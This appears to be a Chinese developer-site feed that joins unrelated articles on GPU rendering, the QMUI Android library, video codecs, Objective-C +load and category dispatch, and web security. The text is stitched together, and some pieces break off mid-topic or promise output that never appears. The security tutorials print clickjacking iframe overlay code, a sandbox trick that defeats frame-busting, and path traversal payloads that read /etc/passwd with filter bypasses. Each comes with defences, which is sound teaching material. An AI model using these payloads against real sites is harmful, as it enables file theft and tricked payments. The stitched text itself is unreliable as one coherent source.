近年来,GPU 增加了处理器指令和存储器硬件,以支持通用编程语言,并创立了一种编程环境,从而允许使用熟悉的语言(包括 C/C++)对 GPU 进行编程。
如今,GPU 及其相关驱动实现了图形处理中的 OpenGL 和 DirectX 模型,从而允许开发者能够轻易地操作硬件。OpenGL 严格来说并不是常规意义上的 API,而是一个第三方标准(由 khronos 组织制定并维护),其严格定义了每个函数该如何执行,以及它们的输出值。至于每个函数内部具体是如何实现的,则由 OpenGL 库的开发者自行决定。实际 OpenGL 库的开发者通常是显卡的生产商。DirectX 则是由 Microsoft 提供一套第三方标准。
顶点着色器(Vertex Shader)
形状装配(Shape Assembly),又称 图元装配
几何着色器(Geometry Shader)
光栅化(Rasterization)
片段着色器(Fragment Shader)
测试与混合(Tests and Blending)
第一阶段,顶点着色器。该阶段的输入是 顶点数据(Vertex Data) 数据,比如以数组的形式传递 3 个 3D 坐标用来表示一个三角形。顶点数据是一系列顶点的集合。顶点着色器主要的目的是把 3D 坐标转为另一种 3D 坐标,同时顶点着色器可以对顶点属性进行一些基本处理。
第二阶段,形状(图元)装配。该阶段将顶点着色器输出的所有顶点作为输入,并将所有的点装配成指定图元的形状。图中则是一个三角形。图元(Primitive) 用于表示如何渲染顶点数据,如:点、线、三角形。
第三阶段,几何着色器。该阶段把图元形式的一系列顶点的集合作为输入,它可以通过产生新顶点构造出新的(或是其它的)图元来生成其他形状。例子中,它生成了另一个三角形。
第四阶段,光栅化。该阶段会把图元映射为最终屏幕上相应的像素,生成片段。片段(Fragment) 是渲染一个像素所需要的所有数据。
第五阶段,片段着色器。该阶段首先会对输入的片段进行 裁切(Clipping)。裁切会丢弃超出视图以外的所有像素,用来提升执行效率。
第六阶段,测试与混合。该阶段会检测片段的对应的深度值(z 坐标),判断这个像素位于其它物体的前面还是后面,决定是否应该丢弃。此外,该阶段还会检查 alpha 值( alpha 值定义了一个物体的透明度),从而对物体进行混合。因此,即使在片段着色器中计算出来了一个像素输出的颜色,在渲染多个三角形的时候最后的像素颜色也可能完全不同。
关于混合,GPU 采用如下公式进行计算,并得出最后的颜色。
R = S + D * (1 - Sa)
关于公式的含义,假设有两个像素 S(source) 和 D(destination),S 在 z 轴方向相对靠前(在上面),D 在 z 轴方向相对靠后(在下面),那么最终的颜色值就是 S(上面像素) 的颜色 + D(下面像素) 的颜色 * (1 - S(上面像素) 颜色的透明度)。
上述流水线以绘制一个三角形为进行介绍,可以为每个顶点添加颜色来增加图形的细节,从而创建图像。但是,如果让图形看上去更加真实,需要足够多的顶点和颜色,相应也会产生更大的开销。为了提高生产效率和执行效率,开发者经常会使用 纹理(Texture) 来表现细节。纹理是一个 2D 图片(甚至也有 1D 和 3D 的纹理)。纹理一般可以直接作为图形渲染流水线的第五阶段的输入。
最后,我们还需要知道上述阶段中的着色器事实上是一些程序,它们运行在 GPU 中成千上万的小处理器核中。这些着色器允许开发者进行配置,从而可以高效地控制图形渲染流水线中的特定部分。由于它们运行在 GPU 中,因此可以降低 CPU 的负荷。着色器可以使用多种语言编写,OpenGL 提供了 GLSL(OpenGL Shading Language) 着色器语言。
早期的 GPU,不同的着色器对应有着不同的硬件单元。如今,GPU 流水线则使用一个统一的硬件来运行所有的着色器。此外,nVidia 还提出了 CUDA(Compute Unified Device Architecture) 编程模型,可以允许开发者通过编写 C 代码来访问 GPU 中所有的处理器核,从而深度挖掘 GPU 的并行计算能力。
下图所示为 GPU 内部的层级结构。最底层是计算机的系统内存,其次是 GPU 的内部存储,然后依次是两级 cache:L2 和 L1,每个 L1 cache 连接至一个 流处理器(SM,stream processor)。
SM L1 Cache 的存储容量大约为 16 至 64KB。
GPU L2 Cache 的存储容量大约为几百 KB。
GPU 的内存最大为 12GB。
GPU 上的各级存储系统与对应层级的计算机存储系统相比要小不少。
此外,GPU 内存并不具有一致性,也就意味着并不支持并发读取和并发写入。
下图所示为 GPU 中每个流处理器的内部结构示意图。每个流处理器集成了一个 L1 Cache。顶部是处理器核共享的寄存器堆。
至此,我们大致了解了 GPU 的工作原理和内部结构,那么实际应用中 CPU 和 GPU 又是如何协同工作的呢?
下图所示为两种常见的 CPU-GPU 异构架构。
左图是分离式的结构,CPU 和 GPU 拥有各自的存储系统,两者通过 PCI-e 总线进行连接。这种结构的缺点在于 PCI-e 相对于两者具有低带宽和高延迟,数据的传输成了其中的性能瓶颈。目前使用非常广泛,如PC、智能手机等。
右图是耦合式的结构,CPU 和 GPU 共享内存和缓存。AMD 的 APU 采用的就是这种结构,目前主要使用在游戏主机中,如 PS4。
注意,目前很多 SoC 都是集成了CPU 和 GPU,事实上这仅仅是在物理上进行了集成,并不意味着它们使用的就是耦合式结构,大多数采用的还是分离式结构。耦合式结构是在系统上进行了集成。
在存储管理方面,分离式结构中 CPU 和 GPU 各自拥有独立的内存,两者共享一套虚拟地址空间,必要时会进行内存拷贝。对于耦合式结构,GPU 没有独立的内存,与 GPU 共享系统内存,由 MMU 进行存储管理。
图形应用程序调用 OpenGL 或 Direct3D API 功能,将 GPU 作为协处理器使用。API 通过面向特殊 GPU 优化的图形设备驱动向 GPU 发送命令、程序、数据。
下图所示为分离式异构系统中 GPU 的资源管理模型示意图。
MMIO(Memory-Mapped I/O)
CPU 通过 MMIO 访问 GPU 的寄存器状态。
通过 MMIO 传送数据块传输命令,支持 DMA 的硬件可以实现块数据传输。
GPU Context
上下文表示 GPU 的计算状态,在 GPU 中占据部分虚拟地址空间。多个活跃态下的上下文可以在 GPU 中并存。
CPU Channel
来自 CPU 操作 GPU 的命令存储在内存中,并提交至 GPU channel 硬件单元。
每个 GPU 上下文可拥有多个 GPU Channel。每个 GPU 上下文都包含 GPU channel 描述符(GPU 内存中的内存对象)。
每个 GPU Channel 描述符存储了channel 的配置,如:其所在的页表。
每个 GPU Channel 都有一个专用的命令缓冲区,该缓冲区分配在 GPU 内存中,通过 MMIO 对 CPU 可见。
GPU 页表
GPU 上下文使用 GPU 页表进行分配,该表将虚拟地址空间与其他地址空间隔离开来。
GPU 页表与 CPU 页表分离,其驻留在 GPU 内存中,物理地址位于 GPU 通道描述符中。
通过 GPU channel 提交的所有命令和程序都在对应的 GPU 虚拟地址空间中执行。
GPU 页表将 GPU 虚拟地址不仅转换为 GPU 设备物理地址,还转换为主机物理地址。这使得 GPU 页面表能够将 GPU 存储器和主存储器统一到统一的 GPU 虚拟地址空间中,从而构成一个完成的虚拟地址空间。
PFIFO Engine
PFIFO 是一个提交 GPU 命令的特殊引擎。
PFIFO 维护多个独立的命令队列,即 channel。
命令队列是带有 put 和 get 指针的环形缓冲器。
PFIFO 引擎会拦截多有对通道控制区域的访问以供执行。
GPU 驱动使用一个通道描述符来存储关联通道的设置。
BO
缓冲对象(Buffer Object)。一块内存,可以用来存储纹理,渲染对象,着色器代码等等。
下图所示为 CPU-GPU 异构系统的工作流,当 CPU 遇到图像处理的需求时,会调用 GPU 进行处理,主要流程可以分为以下四步:
1.将主存的处理数据复制到显存中
2.CPU 指令驱动 GPU
3.GPU 中的每个运算单元并行处理
4.GPU 将显存结果传回主存
介绍屏幕图像显示的原理,需要先从 CRT 显示器原理说起,如下图所示。CRT 的电子枪从上到下逐行扫描,扫描完成后显示器就呈现一帧画面。然后电子枪回到初始位置进行下一次扫描。为了同步显示器的显示过程和系统的视频控制器,显示器会用硬件时钟产生一系列的定时信号。当电子枪换行进行扫描时,显示器会发出一个水平同步信号(horizonal synchronization),简称 HSync;而当一帧画面绘制完成后,电子枪回复到原位,准备画下一帧前,显示器会发出一个垂直同步信号(vertical synchronization),简称 VSync。显示器通常以固定频率进行刷新,这个刷新率就是 VSync 信号产生的频率。虽然现在的显示器基本都是液晶显示屏了,但其原理基本一致。
下图所示为常见的 CPU、GPU、显示器工作方式。CPU 计算好显示内容提交至 GPU,GPU 渲染完成后将渲染结果存入帧缓冲区,视频控制器会按照 VSync 信号逐帧读取帧缓冲区的数据,经过数据转换后最终由显示器进行显示。
最简单的情况下,帧缓冲区只有一个。此时,帧缓冲区的读取和刷新都都会有比较大的效率问题。为了解决效率问题,GPU 通常会引入两个缓冲区,即 双缓冲机制。在这种情况下,GPU 会预先渲染一帧放入一个缓冲区中,用于视频控制器的读取。当下一帧渲染完毕后,GPU 会直接把视频控制器的指针指向第二个缓冲器。
双缓冲虽然能解决效率问题,但会引入一个新的问题。当视频控制器还未读取完成时,即屏幕内容刚显示一半时,GPU 将新的一帧内容提交到帧缓冲区并把两个缓冲区进行交换后,视频控制器就会把新的一帧数据的下半段显示到屏幕上,造成画面撕裂现象,如下图:
为了解决这个问题,GPU 通常有一个机制叫做垂直同步(简写也是 V-Sync),当开启垂直同步后,GPU 会等待显示器的 VSync 信号发出后,才进行新的一帧渲染和缓冲区更新。这样能解决画面撕裂现象,也增加了画面流畅度,但需要消费更多的计算资源,也会带来部分延迟。
摘自:http://chuquan.me/2018/08/26/graphics-rending-principle-gpu
收起阅读 »QMUI Android 的设计目的是用于辅助快速搭建一个具备基本设计还原效果的 Android 项目,同时利用自身提供的丰富控件及兼容处理,让开发者能专注于业务需求而无需耗费精力在基础代码的设计上。不管是新项目的创建,或是已有项目的维护,均可使开发效率和项目质量得到大幅度提升。
只需要修改一份配置表就可以调整 App 的全局样式,包括组件颜色、导航栏、对话框、列表等。一处修改,全局生效。
提供丰富常用的 UI 控件,例如 BottomSheet、Tab、圆角 ImageView、下拉刷新等,使用方便灵活,并且支持自定义控件的样式。
提供高效的工具方法,包括设备信息、屏幕信息、键盘管理、状态栏管理等,可以解决各种常见场景并大幅度提升开发效率。
原文链接:https://github.com/Tencent/QMUI_Android
在本节中,我们将解释什么是 clickjacking 点击劫持,并描述常见的点击劫持攻击示例,以及讨论如何防御这些攻击。
点击劫持是一种基于界面的攻击,通过诱导用户点击钓鱼网站中的被隐藏了的可操作的危险内容。
例如:某个用户被诱导访问了一个钓鱼网站(可能是点击了电子邮件中的链接),然后点击了一个赢取大奖的按钮。实际情况则是,攻击者在这个赢取大奖的按钮下面隐藏了另一个网站上向其他账户进行支付的按钮,而结果就是用户被诱骗进行了支付。这就是一个点击劫持攻击的例子。这项技术实际上就是通过 iframe
合并两个页面,真实操作的页面被隐藏,而诱骗用户点击的页面则显示出来。点击劫持攻击与 CSRF
攻击的不同之处在于,点击劫持需要用户执行某种操作,比如点击按钮,而 CSRF
则是在用户不知情或者没有输入的情况下伪造整个请求。
针对 CSRF
攻击的防御措施通常是使用 CSRF token
(针对特定会话、一次性使用的随机数)。而点击劫持无法则通过 CSRF token
缓解攻击,因为目标会话是在真实网站加载的内容中建立的,并且所有请求均在域内发生。CSRF token
也会被放入请求中,并作为正常行为的一部分传递给服务器,与普通会话相比,差异就在于该过程发生在隐藏的 iframe
中。
点击劫持攻击使用 CSS 创建和操作图层。攻击者将目标网站通过 iframe
嵌入并隐藏。使用样式标签和参数的示例如下:
<head>
<style>
#target_website {
position:relative;
width:128px;
height:128px;
opacity:0.00001;
z-index:2;
}
#decoy_website {
position:absolute;
width:300px;
height:400px;
z-index:1;
}
</style>
</head>
...
<body>
<div id="decoy_website">
...decoy web content here...
</div>
<iframe id="target_website" src="https://vulnerable-website.com">
</iframe>
</body>
目标网站 iframe
被定位在浏览器中,使用适当的宽度和高度位置值将目标动作与诱饵网站精确重叠。无论屏幕大小,浏览器类型和平台如何,绝对位置值和相对位置值均用于确保目标网站准确地与诱饵重叠。z-index
决定了 iframe
和网站图层的堆叠顺序。透明度被设置为零,因此 iframe
内容对用户是透明的。浏览器可能会基于 iframe
透明度进行阈值判断从而自动进行点击劫持保护(例如,Chrome 76 包含此行为,但 Firefox 没有),但攻击者仍然可以选择适当的透明度值,以便在不触发此保护行为的情况下获得所需的效果。
一些需要表单填写和提交的网站允许在提交之前使用 GET 参数预先填充表单输入。由于 GET 参数在 URL 中,那么攻击者可以直接修改目标 URL 的值,并将透明的“提交”按钮覆盖在诱饵网站上。
只要网站可以被 frame
,那么点击劫持就有可能发生。因此,预防性技术的基础就是限制网站 frame
的能力。比较常见的客户端保护措施就是使用 web 浏览器的 frame
拦截或清理脚本,比如浏览器的插件或扩展程序,这些脚本通常是精心设计的,以便执行以下部分或全部行为:
frame
可见。frame
。Frame 拦截技术一般特定于浏览器和平台,且由于 HTML 的灵活性,它们通常也可以被攻击者规避。由于这些脚本也是 JavaScript ,浏览器的安全设置也可能会阻止它们的运行,甚至浏览器直接不支持 JavaScript 。攻击者也可以使用 HTML5 iframe
的 sandbox
属性去规避 frame 拦截。当 iframe
的 sandbox
设置为 allow-forms
或 allow-scripts
,且 allow-top-navigation
被忽略时,frame 拦截脚本可能就不起作用了,因为 iframe 无法检查它是否是顶部窗口:
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms"></iframe>
当 iframe
的 allow-forms
和 allow-scripts
被设置,且 top-level 导航被禁用,这会抑制 frame 拦截行为,同时允许目标站内的功能。
到目前为止,我们把点击劫持看作是一种独立的攻击。从历史上看,点击劫持被用来执行诸如在 Facebook 页面上增加“点赞”之类的行为。然而,当点击劫持被用作另一种攻击的载体,如 DOM XSS 攻击,才能发挥其真正的破坏性。假设攻击者首先发现了 XSS 攻击的漏洞,则实施这种组合攻击就很简单了,只需要将 iframe
的目标 URL 结合 XSS ,以使用户点击按钮或链接,从而执行 DOM XSS 攻击。
攻击者操作目标网站的输入可能需要执行多个操作。例如,攻击者可能希望诱骗用户从零售网站购买商品,而在下单之前还需要将商品添加到购物篮中。为了实现这些操作,攻击者可能使用多个视图或 iframe
,这也需要相当的精确性,攻击者必须非常小心。
我们在上文中已经讨论了一种浏览器端的预防机制,即 frame 拦截脚本。然而,攻击者通常也很容易绕过这种防御。因此,服务端驱动的协议被设计了出来,以限制浏览器 iframe
的使用并减轻点击劫持的风险。
点击劫持是一种浏览器端的行为,它的成功与否取决于浏览器的功能以及是否遵守现行 web 标准和最佳实践。服务端的防御措施就是定义 iframe
组件使用的约束,然而,其实现仍然取决于浏览器是否遵守并强制执行这些约束。服务端针对点击劫持的两种保护机制分别是 X-Frame-Options
和 Content Security Policy
。
X-Frame-Options
最初由 IE8 作为非官方的响应头引入,随后也在其他浏览器中被迅速采用。X-Frame-Options
头为网站所有者提供了对 iframe
使用的控制(就是说第三方网站不能随意的使用 iframe
嵌入你控制的网站),比如你可以使用 deny
直接拒绝所有 iframe
引用你的网站:
X-Frame-Options: deny
或者使用 sameorigin
限制为只有同源网站可以引用:
X-Frame-Options: sameorigin
或者使用 allow-from
指定白名单:
X-Frame-Options: allow-from https://normal-website.com
X-Frame-Options
在不同浏览器中的实现并不一致(比如,Chrome 76 或 Safari 12 不支持 allow-from
)。然而,作为多层防御策略中的一部分,其与 Content Security Policy
结合使用时,可以有效地防止点击劫持攻击。
Content Security Policy
(CSP
) 内容安全策略是一种检测和预防机制,可以缓解 XSS 和点击劫持等攻击。CSP
通常是由 web 服务作为响应头返回,格式为:
Content-Security-Policy: policy
其中的 policy
是一个由分号分隔的策略指令字符串。CSP
向客户端浏览器提供有关允许的 Web 资源来源的信息,浏览器可以将这些资源应用于检测和拦截恶意行为。
有关点击劫持的防御,建议在 Content-Security-Policy
中增加 frame-ancestors
策略。
frame-ancestors 'none'
类似于 X-Frame-Options: deny
,表示拒绝所有 iframe 引用。frame-ancestors 'self'
类似于 X-Frame-Options: sameorigin
,表示只允许同源引用。示例:
Content-Security-Policy: frame-ancestors 'self';
或者指定网站白名单:
Content-Security-Policy: frame-ancestors normal-website.com;
为了有效地防御点击劫持和 XSS 攻击,CSP
需要进行仔细的开发、实施和测试,并且应该作为多层防御策略中的一部分使用。
原文链接:https://segmentfault.com/a/1190000039341244
内容元素:
图像(Image)
⾳频(Audio)
元信息(Metadata)
编码格式: • Video: H264
Audio: AAC
视频编解码的过程是指对数字视频进行压缩或解压缩的一个过程.在做视频编解码时,需要考虑以下这些因素的平衡:
常见的编码方式:
可以把「视频封装格式」看做是一个装着视频、音频、「视频编解码方式」等信息的容器。一种「视频封装格式」可以支持多种「视频编解码方式」,比如:QuickTime File Format(.MOV) 支持几乎所有的「视频编解码方式」,MPEG(.MP4) 也支持相当广的「视频编解码方式」。当我们看到一个视频文件名为 test.mov 时,我们可以知道它的「视频文件格式」是 .mov,也可以知道它的视频封装格式是 QuickTime File Format,但是无法知道它的「视频编解码方式」。那比较专业的说法可能是以 A/B 这种方式,A 是「视频编解码方式」,B 是「视频封装格式」。比如:一个 H.264/MOV 的视频文件,它的封装方式就是 QuickTime File Format,编码方式是 H.264
视频中除了画面通常还有声音,所以这就涉及到音频编解码。在视频中经常使用的音频编码方式有
AAC,英文全称 Advanced Audio Coding,是由 Fraunhofer IIS、杜比实验室、AT&T、Sony等公司共同开发,在 1997 年推出的基于 MPEG-2 的音频编码技术。2000 年,MPEG-4 标准出现后,AAC 重新集成了其特性,加入了 SBR 技术和 PS 技术,为了区别于传统的 MPEG-2 AAC 又称为 MPEG-4 AAC。
MP3,英文全称 MPEG-1 or MPEG-2 Audio Layer III,是当曾经非常流行的一种数字音频编码和有损压缩格式,它被设计来大幅降低音频数据量。它是在 1991 年,由位于德国埃尔朗根的研究组织 Fraunhofer-Gesellschaft 的一组工程师发明和标准化的。MP3 的普及,曾对音乐产业造成极大的冲击与影响。
WMA,英文全称 Windows Media Audio,由微软公司开发的一种数字音频压缩格式,本身包括有损和无损压缩格式。
视频编码格式
总结: H264最大的优势,具有很高的数据压缩比率,在同等图像质量下,H264的压缩比是MPEG-2的2倍以上,MPEG-4的1.5~2倍.
举例: 原始文件的大小如果为88GB,采用MPEG-2压缩标准压缩后变成3.5GB,压缩比为25∶1,而采用H.264压缩标准压缩后变为879MB,从88GB到879MB,H.264的压缩比达到惊人的102∶1
音频编码格式:
AAC是目前比较热门的有损压缩编码技术,并且衍生了LC-AAC,HE-AAC,HE-AAC v2 三种主要编码格式.
LC-AAC 是比较传统的AAC,主要应用于中高码率的场景编码(>= 80Kbit/s)
HE-AAC 主要应用于低码率场景的编码(<= 48Kbit/s)
优势:在小于128Kbit/s的码率下表现优异,并且多用于视频中的音频编码,适合场景:于128Kbit/s以下的音频编码,多用于视频中的音频轨的编码
H.264 是现在广泛采用的一种编码方式。关于 H.264 相关的概念,从大到小排序依次是:序列、图像、片组、片、NALU、宏块、亚宏块、块、像素。
图像
当采集视频信号时,如果采用逐行扫描,则每次扫描得到的信号就是一副图像,也就是一帧。
当采集视频信号时,如果采用隔行扫描(奇、偶数行),则扫描下来的一帧图像就被分为了两个部分,这每一部分就称为「场」,根据次序分为:「顶场」和「底场」。
「帧」和「场」的概念又带来了不同的编码方式:帧编码、场编码逐行扫描适合于运动图像,所以对于运动图像采用帧编码更好;隔行扫描适合于非运动图像,所以对于非运动图像采用场编码更好
网络提取层单元(NALU, Network Abstraction Layer Unit),
NALU 是用来将编码的数据进行打包的,一个分片(Slice)可以编码到一个 NALU 单元。不过一个 NALU 单元中除了容纳分片(Slice)编码的码流外,还可以容纳其他数据,比如序列参数集 SPS。对于客户端其主要任务则是接收数据包,从数据包中解析出 NALU 单元,然后进行解码播放。
宏块(Macroblock),分片是由宏块组成。
在本节中,我们将介绍什么是目录遍历,描述如何执行路径遍历攻击和绕过常见障碍,并阐明如何防止路径遍历漏洞。
目录遍历(也称为文件路径遍历)是一个 web 安全漏洞,此漏洞使攻击者能够读取运行应用程序的服务器上的任意文件。这可能包括应用程序代码和数据、后端系统的凭据以及操作系统相关敏感文件。在某些情况下,攻击者可能能够对服务器上的任意文件进行写入,从而允许他们修改应用程序数据或行为,并最终完全控制服务器。
假设某个应用程序通过如下 HTML 加载图像:
![](/loadImage?filename=218.png)
这个 loadImage URL 通过 filename
文件名参数来返回指定文件的内容,假设图像本身存储在路径为 /var/www/images/
的磁盘上。应用程序基于此基准路径与请求的 filename
文件名返回如下路径的图像:
/var/www/images/218.png
如果该应用程序没有针对目录遍历攻击采取任何防御措施,那么攻击者可以请求类似如下 URL 从服务器的文件系统中检索任意文件:
https://insecure-website.com/loadImage?filename=../../../etc/passwd
这将导致如下路径的文件被返回:
/var/www/images/../../../etc/passwd
../
表示上级目录,因此这个文件其实就是:
/etc/passwd
在 Unix 操作系统上,这个文件是一个内容为该服务器上注册用户详细信息的标准文件。
在 Windows 系统上,..\
和 ../
的作用相同,都表示上级目录,因此检索标准操作系统文件可以通过如下方式:
https://insecure-website.com/loadImage?filename=..\..\..\windows\win.ini
许多将用户输入放入文件路径的应用程序实现了某种应对路径遍历攻击的防御措施,然而这些措施却通常可以被规避。
如果应用程序从用户输入的 filename 中剥离或阻止 ..\
目录遍历序列,那么也可以使用各种技巧绕过防御。
你可以使用从系统根目录开始的绝对路径,例如 filename=/etc/passwd
这样直接引用文件而不使用任何 ..\
形式的遍历序列。
你也可以嵌套的遍历序列,例如 ....//
或者 ....\/
,即使内联序列被剥离,其也可以恢复为简单的遍历序列。
你还可以使用各种非标准编码,例如 ..%c0%af
或者 ..%252f
以绕过输入过滤器。
如果应用程序要求用户提供的文件名必须以指定的文件夹开头,例如 /var/www/images
,则可以使用后跟遍历序列的方式绕过,例如:
filename=/var/www/images/../../../etc/passwd
如果应用程序要求用户提供的文件名必须以指定的后缀结尾,例如 .png
,那么可以使用空字节在所需扩展名之前有效地终止文件路径并绕过检查:
filename=../../../etc/passwd%00.png
防御文件路径遍历漏洞最有效的方式是避免将用户提供的输入直接完整地传递给文件系统 API 。许多实现此功能的应用程序部分可以重写,以更安全的方式提供相同的行为。
如果认为将用户输入传递到文件系统 API 是不可避免的,则应该同时使用以下两层防御措施:
下面是一个简单的 Java 代码示例,基于用户输入验证规范化路径:
File file = new File(BASE_DIRECTORY, userInput);
if (file.getCanonicalPath().startsWith(BASE_DIRECTORY)) {
// process file
}
原文链接:https://segmentfault.com/a/1190000039307155
#import "TCPerson.h"
@implementation TCPerson
+ (void)load{
}
@end
#import "TCPerson+TCtest1.h"
@implementation TCPerson (TCtest1)
+ (void)load{
}
@end
#import "TCPerson+TCTest2.h"
@implementation TCPerson (TCTest2)
+ (void)load{
}
@end
#import <Foundation/Foundation.h>
int main(int argc, const char * argv[]) {
@autoreleasepool {
}
return 0;
}
@implementation TCPerson
+ (void)load{
NSLog(@"TCPerson +load");
}
@end
@implementation TCPerson (TCtest1)
+ (void)load{
NSLog(@"TCPerson (TCtest1) +load");
}
@end
@implementation TCPerson (TCTest2)
+ (void)load{
NSLog(@"TCPerson (TCtest2) +load");
}
@end
#import <Foundation/Foundation.h>
NS_ASSUME_NONNULL_BEGIN
@interface TCPerson : NSObject
+ (void)test;
@end
NS_ASSUME_NONNULL_END
#import "TCPerson.h"
@implementation TCPerson
+ (void)load{
NSLog(@"TCPerson +load");
}
+ (void)test{
NSLog(@"TCPerson +test");
}
@end
#import "TCPerson+TCtest1.h"
@implementation TCPerson (TCtest1)
+ (void)load{
NSLog(@"TCPerson (TCtest1) +load");
}
+ (void)test{
NSLog(@"TCPerson (TCtest1) +test1");
}
@end
#import "TCPerson+TCTest2.h"
@implementation TCPerson (TCTest2)
+ (void)load{
NSLog(@"TCPerson (TCtest2) +load");
}
+ (void)test{
NSLog(@"TCPerson (TCtest2) +test2");
}
@end
#import <Foundation/Foundation.h>
#import "TCPerson.h"
int main(int argc, const char * argv[]) {
@autoreleasepool {
[TCPerson test];
}
return 0;
}
从输出结果中我们可以看到,只有分类2中的test被调用,为什么只调用分类2中的test了?
我们打印TCPerson的类方法
void printMethodNamesOfClass(Class cls)
{
unsigned int count;
// 获得方法数组
Method *methodList = class_copyMethodList(cls, &count);
// 存储方法名
NSMutableString *methodNames = [NSMutableString string];
// 遍历所有的方法
for (int i = 0; i < count; i++) {
// 获得方法
Method method = methodList[I];
// 获得方法名
NSString *methodName = NSStringFromSelector(method_getName(method));
// 拼接方法名
[methodNames appendString:methodName];
[methodNames appendString:@", "];
}
// 释放
free(methodList);
// 打印方法名
NSLog(@"%@ %@", cls, methodNames);
}
int main(int argc, const char * argv[]) {
@autoreleasepool {
[TCPerson test];
printMethodNamesOfClass(object_getClass([TCPerson class]));
}
return 0;
}
输出结果:
void call_load_methods(void)
{
static bool loading = NO;
bool more_categories;
loadMethodLock.assertLocked();
// Re-entrant calls do nothing; the outermost call will finish the job.
if (loading) return;
loading = YES;
void *pool = objc_autoreleasePoolPush();
do {
// 1. Repeatedly call class +loads until there aren't any more
while (loadable_classes_used > 0) {
call_class_loads();
}
// 2. Call category +loads ONCE
more_categories = call_category_loads();
// 3. Run more +loads if there are classes OR more untried categories
} while (loadable_classes_used > 0 || more_categories);
objc_autoreleasePoolPop(pool);
loading = NO;
}
static void call_class_loads(void)
{
int I;
// Detach current loadable list.
struct loadable_class *classes = loadable_classes;
int used = loadable_classes_used;
loadable_classes = nil;
loadable_classes_allocated = 0;
loadable_classes_used = 0;
// Call all +loads for the detached list.
for (i = 0; i < used; i++) {
Class cls = classes[i].cls;
load_method_t load_method = (load_method_t)classes[i].method;
if (!cls) continue;
if (PrintLoading) {
_objc_inform("LOAD: +[%s load]\n", cls->nameForLogging());
}
(*load_method)(cls, SEL_load);
}
// Destroy the detached list.
if (classes) free(classes);
}
其通过的是load_method_t函数指针直接调用
函数指针直接调用
typedef void(*load_method_t)(id, SEL);
static bool call_category_loads(void)
{
int i, shift;
bool new_categories_added = NO;
// Detach current loadable list.
struct loadable_category *cats = loadable_categories;
int used = loadable_categories_used;
int allocated = loadable_categories_allocated;
loadable_categories = nil;
loadable_categories_allocated = 0;
loadable_categories_used = 0;
// Call all +loads for the detached list.
for (i = 0; i < used; i++) {
Category cat = cats[i].cat;
load_method_t load_method = (load_method_t)cats[i].method;
Class cls;
if (!cat) continue;
cls = _category_getClass(cat);
if (cls && cls->isLoadable()) {
if (PrintLoading) {
_objc_inform("LOAD: +[%s(%s) load]\n",
cls->nameForLogging(),
_category_getName(cat));
}
(*load_method)(cls, SEL_load);
cats[i].cat = nil;
}
}
因为test是因为消息机制调用的,objc_msgSend([TCPerson class], @selector(test));消息机制就牵扯到了isa方法查找,test在元类方法里面顺序查找的
load的继承关系调用
首先我们先看TCStudent
#import "TCStudent.h"
@implementation TCStudent
@end
在本节中,我们将讨论错误的配置和有缺陷的业务逻辑如何通过 HTTP Host 头使网站遭受各种攻击。我们将概述识别易受 HTTP Host 头攻击的网站的高级方法,并演示如何利用此方法。最后,我们将提供一些有关如何保护自己网站的一般建议。
从 HTTP/1.1 开始,HTTP Host 头是一个必需的请求头,其指定了客户端想要访问的域名。例如,当用户访问 https://portswigger.net/web-security
时,浏览器将会发出一个包含 Host 头的请求:
GET /web-security HTTP/1.1
Host: portswigger.net
在某些情况下,例如当请求被中介系统转发时,Host 值可能在到达预期的后端组件之前被更改。我们将在下面更详细地讨论这种场景。
HTTP Host 头的作用就是标识客户端想要与哪个后端组件通信。如果请求没有 Host 头或者 Host 格式不正确,则把请求路由到预期的应用程序时会出现问题。
历史上因为每个 IP 地址只会托管单个域名的内容,所以并不存在模糊性。但是如今,由于基于云的解决方案和相关架构的不断增长,使得多个网站和应用程序在同一个 IP 地址访问变得很常见,这种方式也越来越受欢迎,部分原因是 IPv4 地址耗尽。
当多个应用程序通过同一个 IP 地址访问时,通常是以下情况之一。
一种可能的情况是,一台 web 服务器部署多个网站或应用程序,这可能是同一个所有者拥有多个网站,也有可能是不同网站的所有者部署在同一个共享平台上。这在以前不太常见,但在一些基于云的 SaaS 解决方案中仍然会出现。
在这种情况下,尽管每个不同的网站都有不同的域名,但是他们都与服务器共享同一个 IP 地址。这种单台服务器托管多个网站的方式称为“虚拟主机”。
对于访问网站的普通用户来说,通常无法区分网站使用的是虚拟主机还是自己的专用服务器。
另一种常见的情况是,网站托管在不同的后端服务器上,但是客户端和服务器之间的所有流量都会通过中间系统路由。中间系统可能是一个简单的负载均衡器或某种反向代理服务器。当客户端通过 CDN 访问网站时,这种情况尤其普遍。
在这种情况下,即使不同的网站托管在不同的后端服务器上,但是他们的所有域名都需要解析为中间系统这个 IP 地址。这也带来了一些与虚拟主机相同的挑战,即反向代理或负载均衡服务器需要知道怎么把每个请求路由到哪个合适的后端。
解决上述的情况,都需要依赖于 Host 头来指定请求预期的接收方。一个常见的比喻是给住在公寓楼里的某个人写信的过程。整栋楼都是同一个街道地址,但是这个街道地址后面有许多个不同的公寓房间,每个公寓房间都需要以某种方式接受正确的邮件。解决这个问题的一个方法就是简单地在地址中添加公寓房间号码或收件人的姓名。对于 HTTP 消息而言,Host 头的作用与之类似。
当浏览器发送请求时,目标 URL 将解析为特定服务器的 IP 地址,当服务器收到请求时,它使用 Host 头来确定预期的后端并相应地转发该请求。
HTTP Host 头攻击会利用以不安全的方式处理 Host 头的漏洞网站。如果服务器隐式信任 Host 标头,且未能正确验证或转义它,则攻击者可能会使用此输入来注入有害的有效负载,以操纵服务器端的行为。将有害负载直接注入到 Host 头的攻击通常称为 "Host header injection"(主机头注入攻击)。
现成的 web 应用通常不知道它们部署在哪个域上,除非在安装过程中手动配置指定了它。此时当他们需要知道当前域时,例如要生成电子邮件中包含的 URL ,他们可能会从 Host 头检索域名:
<a href="https://_SERVER['HOST']/support">Contact support</a>
标头的值也可以用于基础设施内不同系统之间的各种交互。
由于 Host 头实际上用户可以控制的,因此可能会导致很多问题。如果输入没有正确的转义或验证,则 Host 头可能会成为利用其他漏洞的潜在载体,最值得注意的是:
HTTP Host 漏洞的产生通常是基于存在缺陷的假设,即误认为 Host 头是用户不可控制的。这导致 Host 头被隐式信任了,其值未进行正确的验证或转义,而攻击者可以使用工具轻松地修改 Host 。
即使 Host 头本身得到了安全的处理,也可以通过注入其他标头来覆盖 Host ,这取决于处理传入请求的服务器的配置。有时网站所有者不知道默认情况下这些可以覆盖 Host 的标头是受支持的,因此,可能不会进行严格的审查。
